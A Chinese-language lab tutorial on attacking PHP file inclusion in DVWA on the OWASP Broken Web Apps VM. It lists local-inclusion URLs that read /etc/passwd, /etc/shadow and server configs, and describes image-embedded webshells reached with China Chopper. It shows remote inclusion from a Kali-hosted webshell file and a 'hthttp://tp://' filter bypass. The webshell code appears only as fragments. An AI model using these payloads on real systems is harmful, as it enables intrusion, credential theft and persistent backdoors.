当上传是高安全模式时,我们大可不必非要用上传渗透实现对服务器的攻击,我们可以换一种方式。
1.实验环境
目标靶机:OWASP_Broken_Web_Apps_VM_1.2
下载地址
我们还需要中国菜刀
和kali
这两个工具,把所有的杀毒软件关了,不然中国菜刀可能会被杀毒软件和谐。
实验原理及危害
文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可
以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文
件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包
含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务
器允许包含一个远程的文件)。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不
严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
1. 文件包含(File Inclusion)即程序通过[包含函数]调用本地或远程文件,以此来实现拓展功能
2. 被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞
3. 文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等包含函数
文件包含分为两类:
本地文件包含LFI(Local File Inclusion) 当被包含的文件在服务器本地时,就形成本地文件包含
远程文件包含RFI(Remote File Inclusion) 当被包含的文件在第三方服务器时,叫做远程文件包含
2.低安全级别渗透
root@owaspbwa:~# ip a
1: lo: mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 00:0c:29:b2:da:ea brd ff:ff:ff:ff:ff:ff
inet 192.168.13.144/24 brd 192.168.13.255 scope global eth0
inet6 fe80::20c:29ff:feb2:daea/64 scope link
valid_lft forever preferred_lft forever
1.本地文件包含
访问本地系统账号信息及其它敏感信息
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/passwd
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/shadow
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/php5/apache2/php.ini
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/mysql/my.cnf
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/apache2/apache2.conf
这些都是正常的访问:
图片插入一句话工具
因为在上传高安全模式下,我们只能上传图片,所以我们可以利用图片来产生我们需要的小马文件。
1. 制作一句话图片木马
')?>
#yjssjm.php 是我们生成的文件里面写着
3. 上传图片木马文件
4. 执行文件包含并生成后门
5. 通过菜刀连接webshell
提示:
/var/www/dvwa/hackable/uploads #dvwa文件上传访问的目录
/var/www/dvwa/vulnerabilities/fi #dvwa文件包含访问的目录 yjssjm.php
这个时候我们的图片以及是带有木马的图片了。
出来这么一堆乱码,就是成功了。
我们可以去目标靶机OWASP上看一下
地址写的时候,将fi后面的全部去掉,换成你生成的小马的文件名
http://192.168.13.144/dvwa/vulnerabilities/fi/yjssjm.php
2.远程文件包含
建立远程服务器,这里使用kali作为远程服务器,有条件的小伙伴可以使用云服务器。
原理特别简单,我们只需要在远程服务器上创建小马文件,使用远程文件包含,包含到我们这个文件就可以了。
打开kali,默认用户名是root,密码是toor
打开apache
root@kali:~# service apache2 start
root@kali:~# vim /var/www/html/yjssjm.txt #在网站目录下面创建文件
')?>
打开中国菜刀,同样的操作,这里是yjssjm1.php
http://192.168.13.144/dvwa/vulnerabilities/fi/yjssjm1.php
3.中安全级别的渗透
1.本地文件包含
因为源码只是增加了远程的安全性,所以我们用上面写的低安全性渗透的方法就可以实现了
2.远程文件包含
==============================================================
我们仔细看一下这些代码,其实就是如果我匹配到了"http://" 这些字符,那么我就将其替换为空字符
同样如果我匹配到了"https://" 这些字符,那么我就将其替换为空字符
如果我们再去访问下面这个网址
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=http://192.168.13.145/yjssjm.txt
当然是什么都访问不到,因为它默认把我们等号后面的那个"http://"去掉了,即
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=192.168.13.145/yjssjm.txt
这样我们当然会失败,所以我们需要多加一个"http://"
而添加的方法不唯一,下面举个例子
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.13.145/yjssjm.txt
hthttp://tp:// - http:// = http://
只要执行成功,小马文件生成之后,下面的步骤就跟上面的一样了。
你们的评论和点赞是我写文章的最大动力,蟹蟹。